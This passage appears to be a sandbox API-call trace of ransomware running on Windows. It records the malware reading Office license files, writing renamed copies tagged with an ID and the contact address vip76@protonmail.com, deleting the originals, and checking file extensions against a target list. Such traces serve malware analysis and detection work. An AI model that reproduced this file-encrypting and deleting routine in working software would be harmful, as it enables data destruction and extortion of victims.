	[0194.460] SetFilePointerEx (in: hFile=0x5dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec0 | out: lpNewFilePointer=0x0) returned 1
	[0194.460] SetEndOfFile (hFile=0x5dc) returned 1
	[0194.464] CloseHandle (hObject=0x5dc) returned 1
	[0194.465] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp3-ul-oob.xrm-ms.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0194.465] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp3-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp3-ul-oob.xrm-ms")) returned 1
	[0194.466] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp3-ul-oob.xrm-ms") returned 87
	[0194.466] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp3-ul-oob.xrm-ms") returned 87
	[0194.466] lstrlenW (lpString=".doc") returned 4
	[0194.466] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0194.466] lstrlenW (lpString=".docx") returned 5
	[0194.466] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0194.466] lstrlenW (lpString=".pdf") returned 4
	[0194.466] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0194.466] lstrlenW (lpString=".xls") returned 4
	[0194.466] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0194.466] lstrlenW (lpString=".xlsx") returned 5
	[0194.466] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0194.466] lstrlenW (lpString=".ppt") returned 4
	[0194.466] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0194.466] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp3-ul-oob.xrm-ms") returned 87
	[0194.466] lstrlenW (lpString=".zip") returned 4
	[0194.466] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0194.466] lstrlenW (lpString=".rar") returned 4
	[0194.466] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0194.466] lstrlenW (lpString=".bz2") returned 4
	[0194.466] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0194.466] lstrlenW (lpString=".7z") returned 3
	[0194.466] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0194.466] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp3-ul-oob.xrm-ms") returned 87
	[0194.466] lstrlenW (lpString=".dbf") returned 4
	[0194.466] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0194.467] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp3-ul-oob.xrm-ms") returned 87
	[0194.467] lstrlenW (lpString=".1cd") returned 4
	[0194.467] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0194.467] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp3-ul-oob.xrm-ms") returned 87
	[0194.467] lstrlenW (lpString=".jpg") returned 4
	[0194.467] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0194.467] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp3-ul-oob.xrm-ms") returned 87
	[0194.467] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp3-ul-oob.xrm-ms") returned 87
	[0194.467] lstrlenW (lpString=".doc") returned 4
	[0194.467] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0194.467] lstrlenW (lpString=".docx") returned 5
	[0194.467] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0194.467] lstrlenW (lpString=".pdf") returned 4
	[0194.467] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0194.467] lstrlenW (lpString=".xls") returned 4
	[0194.467] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0194.467] lstrlenW (lpString=".xlsx") returned 5
	[0194.467] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0194.467] lstrlenW (lpString=".ppt") returned 4
	[0194.467] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0194.467] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp3-ul-oob.xrm-ms") returned 87
	[0194.467] lstrlenW (lpString=".zip") returned 4
	[0194.467] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0194.467] lstrlenW (lpString=".rar") returned 4
	[0194.467] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0194.467] lstrlenW (lpString=".bz2") returned 4
	[0194.467] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0194.467] lstrlenW (lpString=".7z") returned 3
	[0194.468] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0194.468] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp3-ul-oob.xrm-ms") returned 87
	[0194.468] lstrlenW (lpString=".dbf") returned 4
	[0194.468] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0194.468] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp3-ul-oob.xrm-ms") returned 87
	[0194.468] lstrlenW (lpString=".1cd") returned 4
	[0194.468] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0194.468] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp3-ul-oob.xrm-ms") returned 87
	[0194.468] lstrlenW (lpString=".jpg") returned 4
	[0194.468] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0194.468] lstrcmpiW (lpString1=".xrm-ms", lpString2=".html") returned 1
	[0194.468] lstrlenW (lpString="HomeBusinessR_OEM_Perp3-ul-phn.xrm-ms") returned 37
	[0194.468] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp3-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp3-ul-phn.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5dc
	[0194.469] GetFileSizeEx (in: hFile=0x5dc, lpFileSize=0x328ff14 | out: lpFileSize=0x328ff14*=19966) returned 1
	[0194.469] CloseHandle (hObject=0x5dc) returned 1
	[0194.469] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp3-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp3-ul-phn.xrm-ms")) returned 0x220
	[0194.469] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp3-ul-phn.xrm-ms.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp3-ul-phn.xrm-ms.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0194.469] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp3-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp3-ul-phn.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5dc
	[0194.470] SetFilePointerEx (in: hFile=0x5dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec0 | out: lpNewFilePointer=0x0) returned 1
	[0194.470] SetFilePointerEx (in: hFile=0x5dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec0 | out: lpNewFilePointer=0x0) returned 1
	[0194.470] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp3-ul-phn.xrm-ms.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp3-ul-phn.xrm-ms.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4ac
	[0194.470] GetLastError () returned 0x0
	[0194.470] ReadFile (in: hFile=0x5dc, lpBuffer=0x3eae020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x328fecc, lpOverlapped=0x0 | out: lpBuffer=0x3eae020*, lpNumberOfBytesRead=0x328fecc*=0x4dfe, lpOverlapped=0x0) returned 1
	[0194.473] WriteFile (in: hFile=0x4ac, lpBuffer=0x3eae020*, nNumberOfBytesToWrite=0x4e00, lpNumberOfBytesWritten=0x328fc94, lpOverlapped=0x0 | out: lpBuffer=0x3eae020*, lpNumberOfBytesWritten=0x328fc94*=0x4e00, lpOverlapped=0x0) returned 1
	[0194.474] ReadFile (in: hFile=0x5dc, lpBuffer=0x3eae020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x328fecc, lpOverlapped=0x0 | out: lpBuffer=0x3eae020*, lpNumberOfBytesRead=0x328fecc*=0x0, lpOverlapped=0x0) returned 1
	[0194.475] WriteFile (in: hFile=0x4ac, lpBuffer=0x3eae020*, nNumberOfBytesToWrite=0x11e, lpNumberOfBytesWritten=0x328fc94, lpOverlapped=0x0 | out: lpBuffer=0x3eae020*, lpNumberOfBytesWritten=0x328fc94*=0x11e, lpOverlapped=0x0) returned 1
	[0194.475] SetEndOfFile (hFile=0x4ac) returned 1
	[0194.475] CloseHandle (hObject=0x4ac) returned 1
	[0194.475] SetFilePointerEx (in: hFile=0x5dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec0 | out: lpNewFilePointer=0x0) returned 1
	[0194.475] SetEndOfFile (hFile=0x5dc) returned 1
	[0194.478] CloseHandle (hObject=0x5dc) returned 1
	[0194.478] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp3-ul-phn.xrm-ms.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0194.479] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp3-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp3-ul-phn.xrm-ms")) returned 1
	[0194.479] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp3-ul-phn.xrm-ms") returned 87
	[0194.480] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp3-ul-phn.xrm-ms") returned 87
	[0194.480] lstrlenW (lpString=".doc") returned 4
	[0194.480] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0194.480] lstrlenW (lpString=".docx") returned 5
	[0194.480] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0194.480] lstrlenW (lpString=".pdf") returned 4
	[0194.480] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0194.480] lstrlenW (lpString=".xls") returned 4
	[0194.480] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0194.480] lstrlenW (lpString=".xlsx") returned 5
	[0194.480] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0194.480] lstrlenW (lpString=".ppt") returned 4
	[0194.480] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0194.480] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp3-ul-phn.xrm-ms") returned 87
	[0194.480] lstrlenW (lpString=".zip") returned 4
	[0194.480] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0194.480] lstrlenW (lpString=".rar") returned 4
	[0194.480] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0194.480] lstrlenW (lpString=".bz2") returned 4
	[0194.480] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0194.480] lstrlenW (lpString=".7z") returned 3
	[0194.480] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0194.480] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp3-ul-phn.xrm-ms") returned 87
	[0194.480] lstrlenW (lpString=".dbf") returned 4
	[0194.480] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0194.480] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp3-ul-phn.xrm-ms") returned 87
	[0194.480] lstrlenW (lpString=".1cd") returned 4
	[0194.480] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0194.480] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp3-ul-phn.xrm-ms") returned 87
	[0194.480] lstrlenW (lpString=".jpg") returned 4
	[0194.481] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0194.481] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp3-ul-phn.xrm-ms") returned 87
	[0194.481] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp3-ul-phn.xrm-ms") returned 87
	[0194.481] lstrlenW (lpString=".doc") returned 4
	[0194.481] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0194.481] lstrlenW (lpString=".docx") returned 5
	[0194.481] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0194.481] lstrlenW (lpString=".pdf") returned 4
	[0194.481] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0194.481] lstrlenW (lpString=".xls") returned 4
	[0194.481] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0194.481] lstrlenW (lpString=".xlsx") returned 5
	[0194.481] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0194.481] lstrlenW (lpString=".ppt") returned 4
	[0194.481] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0194.481] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp3-ul-phn.xrm-ms") returned 87
	[0194.481] lstrlenW (lpString=".zip") returned 4
	[0194.481] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0194.481] lstrlenW (lpString=".rar") returned 4
	[0194.481] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0194.481] lstrlenW (lpString=".bz2") returned 4
	[0194.481] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0194.481] lstrlenW (lpString=".7z") returned 3
	[0194.481] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0194.482] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp3-ul-phn.xrm-ms") returned 87
	[0194.482] lstrlenW (lpString=".dbf") returned 4
	[0194.482] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0194.482] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp3-ul-phn.xrm-ms") returned 87
	[0194.482] lstrlenW (lpString=".1cd") returned 4
	[0194.482] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0194.482] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp3-ul-phn.xrm-ms") returned 87
	[0194.482] lstrlenW (lpString=".jpg") returned 4
	[0194.482] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0194.482] lstrcmpiW (lpString1=".xrm-ms", lpString2=".html") returned 1
	[0194.482] lstrlenW (lpString="HomeBusinessR_OEM_Perp4-pl.xrm-ms") returned 33
	[0194.482] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp4-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp4-pl.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5dc
	[0194.483] GetFileSizeEx (in: hFile=0x5dc, lpFileSize=0x328ff14 | out: lpFileSize=0x328ff14*=10667) returned 1
	[0194.483] CloseHandle (hObject=0x5dc) returned 1
	[0194.483] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp4-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp4-pl.xrm-ms")) returned 0x220
	[0194.483] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp4-pl.xrm-ms.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp4-pl.xrm-ms.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0194.484] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp4-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp4-pl.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5dc
	[0194.484] SetFilePointerEx (in: hFile=0x5dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec0 | out: lpNewFilePointer=0x0) returned 1
	[0194.484] SetFilePointerEx (in: hFile=0x5dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec0 | out: lpNewFilePointer=0x0) returned 1
	[0194.484] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp4-pl.xrm-ms.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp4-pl.xrm-ms.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4ac
	[0194.485] GetLastError () returned 0x0
	[0194.485] ReadFile (in: hFile=0x5dc, lpBuffer=0x3eae020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x328fecc, lpOverlapped=0x0 | out: lpBuffer=0x3eae020*, lpNumberOfBytesRead=0x328fecc*=0x29ab, lpOverlapped=0x0) returned 1
	[0194.751] WriteFile (in: hFile=0x4ac, lpBuffer=0x3eae020*, nNumberOfBytesToWrite=0x29b0, lpNumberOfBytesWritten=0x328fc94, lpOverlapped=0x0 | out: lpBuffer=0x3eae020*, lpNumberOfBytesWritten=0x328fc94*=0x29b0, lpOverlapped=0x0) returned 1
	[0194.760] ReadFile (in: hFile=0x5dc, lpBuffer=0x3eae020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x328fecc, lpOverlapped=0x0 | out: lpBuffer=0x3eae020*, lpNumberOfBytesRead=0x328fecc*=0x0, lpOverlapped=0x0) returned 1
	[0194.760] WriteFile (in: hFile=0x4ac, lpBuffer=0x3eae020*, nNumberOfBytesToWrite=0x116, lpNumberOfBytesWritten=0x328fc94, lpOverlapped=0x0 | out: lpBuffer=0x3eae020*, lpNumberOfBytesWritten=0x328fc94*=0x116, lpOverlapped=0x0) returned 1
	[0194.760] SetEndOfFile (hFile=0x4ac) returned 1
	[0194.760] CloseHandle (hObject=0x4ac) returned 1
	[0194.760] SetFilePointerEx (in: hFile=0x5dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec0 | out: lpNewFilePointer=0x0) returned 1
	[0194.760] SetEndOfFile (hFile=0x5dc) returned 1
	[0194.763] CloseHandle (hObject=0x5dc) returned 1
	[0194.763] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp4-pl.xrm-ms.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0194.764] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp4-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp4-pl.xrm-ms")) returned 1
	[0194.765] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp4-pl.xrm-ms") returned 83
	[0194.765] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp4-pl.xrm-ms") returned 83
	[0194.765] lstrlenW (lpString=".doc") returned 4
	[0194.765] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0194.765] lstrlenW (lpString=".docx") returned 5
	[0194.765] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0194.765] lstrlenW (lpString=".pdf") returned 4
	[0194.765] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0194.765] lstrlenW (lpString=".xls") returned 4
	[0194.765] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0194.765] lstrlenW (lpString=".xlsx") returned 5
	[0194.765] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0194.765] lstrlenW (lpString=".ppt") returned 4
	[0194.765] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0194.765] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp4-pl.xrm-ms") returned 83
	[0194.765] lstrlenW (lpString=".zip") returned 4
	[0194.765] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0194.765] lstrlenW (lpString=".rar") returned 4
	[0194.765] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0194.765] lstrlenW (lpString=".bz2") returned 4
	[0194.765] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0194.765] lstrlenW (lpString=".7z") returned 3
	[0194.765] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0194.766] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp4-pl.xrm-ms") returned 83
	[0194.766] lstrlenW (lpString=".dbf") returned 4
	[0194.766] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0194.766] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp4-pl.xrm-ms") returned 83
	[0194.766] lstrlenW (lpString=".1cd") returned 4
	[0194.766] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0194.766] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp4-pl.xrm-ms") returned 83
	[0194.766] lstrlenW (lpString=".jpg") returned 4
	[0194.766] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0194.766] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp4-pl.xrm-ms") returned 83
	[0194.766] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp4-pl.xrm-ms") returned 83
	[0194.766] lstrlenW (lpString=".doc") returned 4
	[0194.766] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0194.766] lstrlenW (lpString=".docx") returned 5
	[0194.766] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0194.766] lstrlenW (lpString=".pdf") returned 4
	[0194.766] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0194.766] lstrlenW (lpString=".xls") returned 4
	[0194.766] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0194.766] lstrlenW (lpString=".xlsx") returned 5
	[0194.766] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0194.766] lstrlenW (lpString=".ppt") returned 4
	[0194.766] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0194.766] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp4-pl.xrm-ms") returned 83
	[0194.766] lstrlenW (lpString=".zip") returned 4
	[0194.766] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0194.766] lstrlenW (lpString=".rar") returned 4
	[0194.766] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0194.767] lstrlenW (lpString=".bz2") returned 4
	[0194.767] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0194.767] lstrlenW (lpString=".7z") returned 3
	[0194.767] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0194.767] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp4-pl.xrm-ms") returned 83
	[0194.767] lstrlenW (lpString=".dbf") returned 4
	[0194.767] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0194.767] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp4-pl.xrm-ms") returned 83
	[0194.767] lstrlenW (lpString=".1cd") returned 4
	[0194.767] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0194.767] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp4-pl.xrm-ms") returned 83
	[0194.767] lstrlenW (lpString=".jpg") returned 4
	[0194.767] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0194.791] lstrcmpiW (lpString1=".xrm-ms", lpString2=".html") returned 1
	[0194.791] lstrlenW (lpString="HomeBusinessR_OEM_Perp4-ul-oob.xrm-ms") returned 37
	[0194.791] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp4-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp4-ul-oob.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5ac
	[0194.792] GetFileSizeEx (in: hFile=0x5ac, lpFileSize=0x328ff14 | out: lpFileSize=0x328ff14*=11621) returned 1
	[0194.793] CloseHandle (hObject=0x5ac) returned 1
	[0194.793] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp4-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp4-ul-oob.xrm-ms")) returned 0x220
	[0194.793] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp4-ul-oob.xrm-ms.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp4-ul-oob.xrm-ms.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0194.793] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp4-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp4-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5ac
	[0194.793] SetFilePointerEx (in: hFile=0x5ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec0 | out: lpNewFilePointer=0x0) returned 1
	[0194.793] SetFilePointerEx (in: hFile=0x5ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec0 | out: lpNewFilePointer=0x0) returned 1
